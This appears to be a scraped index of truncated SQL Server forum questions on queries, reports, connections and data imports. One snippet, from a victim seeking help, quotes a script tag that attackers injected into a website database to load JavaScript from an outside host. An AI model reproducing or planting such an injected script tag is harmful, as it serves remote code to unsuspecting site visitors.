I am wondering if there is a software program or something that is part of sql server 2000 that will show if I have any open connections in my classic asp code. Does anyone know of any?
Greetings Experts,
I must admit I am more frustrated with MS than ever - It seems like installing BIDS (Business Intelegence Development Studio) wouldn't be that hard. In any event, I have...
Hi all,
I have the following tables:
1- Article (ArID,ArName,NewsPaperName,ArYear,ArVol)
2- NewsPaper (NewsPaperID,NewsPaperName,PublisherID)
3- Publisher(PublisherID,PublisherName)
4...
We have a report that runs based upon a start & end date to determine the number of new services added to our system. Here is the sql.
SELECT DATEPART(ww, sa.startdate) AS WeeklyDate
F...
Here's the deal, som jerk-offs infiltrated my website database with this:
<script src=http://www.clsidw.com/b.js></script>
They were able to insert this into some of the fields in my dat...
I have a stored proceedure that runs through ASP. It works perfectly on 3 different setups. I have copied it to a new SQL Server installation and it isn't doing what it is supposed to do.
I...
I get the following error when trying to start the configuration manager:-
MMC could not create the snap-in. The snap-in might not have installed correctly.
Name: SQL Server Configuratio...
Experts, I have an .RDL file and i want to display another column in the resulting report. I copied the existing column and changed the name and value associated to the new one that i wanted t...
I'm trying to update date in the rows when I open a table
and I keep getting this message for some of the rows:
No row was updated.
The data in row 2344 was not committed.
Error messag...
I am using this code which is bombing out on the message field. I need to retrieve the message column but I want just the error message starting with the '%Error%' Also this is being exported...
Hello Experts,
I have faced with another extremely difficult recursive problem. And I really need your help! How can I solve this recursive query problem?
I have a database table named Pro...
Hi Experts,
How do I apply an optional condition to a query?
Declare @ID as tinyint
Set @ID = 1
select * from customer where customername <> 'Joe Smoe'
IF @ID = 1
and customernam...
Experts,
I wrote a SQL query as follows:
select cart_id,cart.trailer_id,cart.prcsng_area_id,cart.warehouse_loc_id, convert(varchar,(case when cart.trailer_id is not null then cart.traile...
I don't make it to connect to my Instance (Sql 2005 express) in my VM Ware Virtual Machine.
Firewalls are switched off. I can ping both machines host to vm and vm to host.
TCP/IP is enabled ...
Hi,
In my application, I'll have the situation whereby there'll be concurrent users (estimated around 5) trying to read out a row from a table in my database.
Example
-----------
Selec...
while running below query i get error
"Divide by zero error encountered"
---------------------------------------
select
BC_SNT_ID Store_No ,
SNT_NAME Store_Name,
DIV_CATID...
OK (THIS IS NOT MY DATABASE) :) Now that thats outa the way...
I have numerous columns in this database [(old) sql2000 col type int 4] and they are some sort of DateTime stamp ....
I have ...
Is there a workaround for a field being required in a select statement when using DISTINCT and ORDER BY. I have a custom designed export routine and all of them use SELECT DISTINCT but each o...
Experts:
What would be the best way for me to check CSV files for erroneous double quotations marks?
I'll soon begin a daily shedule of importing data from CSV files and want to be sure ...
How would I go about using SQl to pull information from two databases? I have one DB called Tickets, and one called Employees. The ticket DB has a field called submitter, which only returns ...
Query
---------------------------------------
SELECT Prof.membernumber, Prof.Program, Programs.ProgramName, Prof.Dues, Prof.Term,
CASE WHEN Prof.MemberType IS NOT NULL THEN MT.MemberType...
Hi,
I have a database on my old MS-SQL 2000. Now, I need to send that database to a hosting company using MS-SQL 2005 and they requested me to send them a "dump" file - but I'm not sure wha...
Hello experts,
The title is self explaining: I cannot connect to an SQL server remotely even with "SQL and Windows" Authentication is set. I already switch to Only windows then back to "SQL...
I have a .CSV file that I need to IMPORT into SQL Server 2005.
How do I do that?
Thanks
M
Hi,
I have a Oracle PL\SQL background and so am new to SQL Server.
In Oracle, if i executed a DELETE query I was then able to review the transaction before I either committed it or rolled it...
